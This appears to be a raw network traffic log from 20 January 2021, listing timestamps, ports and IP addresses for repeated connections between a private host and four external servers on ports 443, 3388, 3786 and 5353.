Jan 20, 2021 16:15:02.925364971 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:02.962064028 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.009949923 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:03.009995937 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:03.010051966 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:03.012531996 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:03.012975931 CET	49216	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:03.108227015 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.108383894 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.135663033 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.140321016 CET	443	49216	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:03.147603989 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.288693905 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.288722992 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.288786888 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:03.291340113 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.291747093 CET	49217	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:03.379964113 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:03.380000114 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:03.380052090 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.380089998 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.382184982 CET	49215	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.405294895 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.424937963 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:03.425129890 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.426094055 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.460562944 CET	3388	49217	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.501653910 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:03.588289976 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.588414907 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.589342117 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.659830093 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.659868956 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.659989119 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.662183046 CET	49218	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.670355082 CET	5353	49215	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:03.672780991 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.672919989 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:03.673707008 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:03.726147890 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:03.726197004 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:03.726303101 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.726341009 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.734898090 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:03.769695044 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:03.777126074 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.807704926 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.807827950 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.807835102 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.807884932 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.812920094 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:03.844036102 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.844856977 CET	3786	49218	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:03.850625038 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.850658894 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:03.850821018 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:03.857654095 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:03.897845984 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:03.897967100 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:03.899008989 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.004297018 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.004403114 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.014002085 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.014097929 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.026894093 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.027200937 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:04.027375937 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:04.028709888 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.029537916 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.029633999 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:04.035100937 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:04.035243034 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:04.039865971 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:04.039901972 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:04.048556089 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.048583984 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.048779011 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.055444002 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.190293074 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.191657066 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.199065924 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.200196028 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.200246096 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.200367928 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.204483986 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.206163883 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.207824945 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:04.245316982 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.328263044 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.329652071 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.329680920 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:04.329824924 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:04.369033098 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.377273083 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.383074999 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.457901001 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.457935095 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.619913101 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:04.619940042 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:04.699528933 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.699563980 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.699671030 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:04.705682039 CET	49221	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:04.712467909 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.712521076 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.712646961 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.715522051 CET	49222	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.742516041 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.742554903 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.742794037 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.742921114 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.748215914 CET	49220	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.812314987 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.825742960 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:04.843326092 CET	443	49222	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.857621908 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.875174046 CET	3388	49221	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:04.931036949 CET	3786	49220	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.986963987 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:04.987037897 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.987828970 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:04.995765924 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:04.995971918 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:04.996887922 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.114671946 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.114799023 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.115339994 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.116060019 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.136898041 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.136924982 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.137449026 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.144498110 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.188662052 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:05.207999945 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:05.208029032 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:05.208096981 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.208139896 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.210139990 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.210166931 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.210266113 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.216109991 CET	49219	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.221187115 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.279159069 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.279284954 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.285960913 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.286127090 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.335383892 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.401784897 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.410528898 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:05.410681009 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.411890030 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.411921024 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.412015915 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.413495064 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.413599014 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.421020031 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.421164989 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.423593044 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.454029083 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.504441023 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:05.504625082 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.505851984 CET	5353	49219	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.506300926 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.541199923 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.541225910 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.604291916 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:05.604429007 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:05.643940926 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:05.675209045 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:05.681941986 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:05.681961060 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:05.682018042 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.682040930 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.689455032 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.717036009 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:05.717200041 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.728058100 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.728307962 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.787674904 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:05.796751022 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.796777010 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:05.796812057 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.796828032 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.799431086 CET	49225	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:05.860671043 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:05.861073971 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:05.861222029 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.871912956 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.872338057 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:05.904623032 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:05.926805019 CET	443	49225	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.017582893 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.017803907 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.040981054 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:06.041621923 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:06.041712999 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:06.148650885 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:06.148679018 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:06.148797989 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:06.148858070 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:06.151863098 CET	49223	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:06.198461056 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.198821068 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.199863911 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.211025953 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:06.267782927 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.304639101 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.304696083 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.336107969 CET	3786	49223	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:06.395612955 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.395716906 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.396754026 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.492852926 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.506088972 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.506136894 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.506303072 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.514014006 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.524271011 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.529268026 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:06.529294968 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:06.529577017 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:06.535402060 CET	49226	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:06.546210051 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.546233892 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.546372890 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.557161093 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.652817965 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:06.693038940 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.693164110 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.699398041 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.699641943 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.704385042 CET	3388	49226	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:06.816617012 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.816759109 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.827255011 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.827424049 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:06.829292059 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.829406977 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.835549116 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:06.835882902 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:06.836653948 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:06.866967916 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.893881083 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.893913984 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:06.894084930 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.899171114 CET	49224	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:06.955060005 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:06.955086946 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:07.019227028 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.021137953 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.035974979 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.036030054 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.036103964 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.036130905 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.045533895 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.123239040 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:07.123379946 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:07.188765049 CET	5353	49224	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:07.190193892 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.190376043 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.191484928 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.211512089 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:07.211535931 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:07.212112904 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:07.219134092 CET	49228	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:07.235868931 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.236124039 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.245609045 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.245804071 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.331661940 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:07.346601963 CET	443	49228	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:07.360161066 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.366930008 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.366940975 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.367043972 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.375869989 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.420322895 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:07.428414106 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.428617954 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.468470097 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.544562101 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.545108080 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.545224905 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.552850008 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.553097963 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.611293077 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.611304998 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.622391939 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:07.622536898 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:07.623651981 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:07.721672058 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.721719980 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.721960068 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:07.892716885 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:07.914578915 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:07.924734116 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:07.924773932 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:07.925311089 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:07.935405016 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:07.976526976 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.976551056 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:07.976661921 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.976689100 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:07.979501009 CET	49229	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.011533976 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:08.011565924 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:08.011746883 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:08.014290094 CET	49227	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:08.087209940 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.117089987 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.162729025 CET	3786	49229	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:08.214843988 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.214922905 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.215584993 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.215610981 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.215672970 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.215958118 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.218875885 CET	49230	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.227770090 CET	5353	49231	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:08.227870941 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:08.232207060 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:08.232307911 CET	49231	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:08.286045074 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.286174059 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.287432909 CET	49233	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:08.308279037 CET	5353	49227	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:08.336195946 CET	49234	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:08.343482971 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.364630938 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.364650011 CET	443	49232	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:08.364806890 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.378590107 CET	49232	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:08.387655020 CET	3388	49230	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.458342075 CET	3388	49233	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:08.465101004 CET	3388	49233	69.164.207.140	192.168.2.22
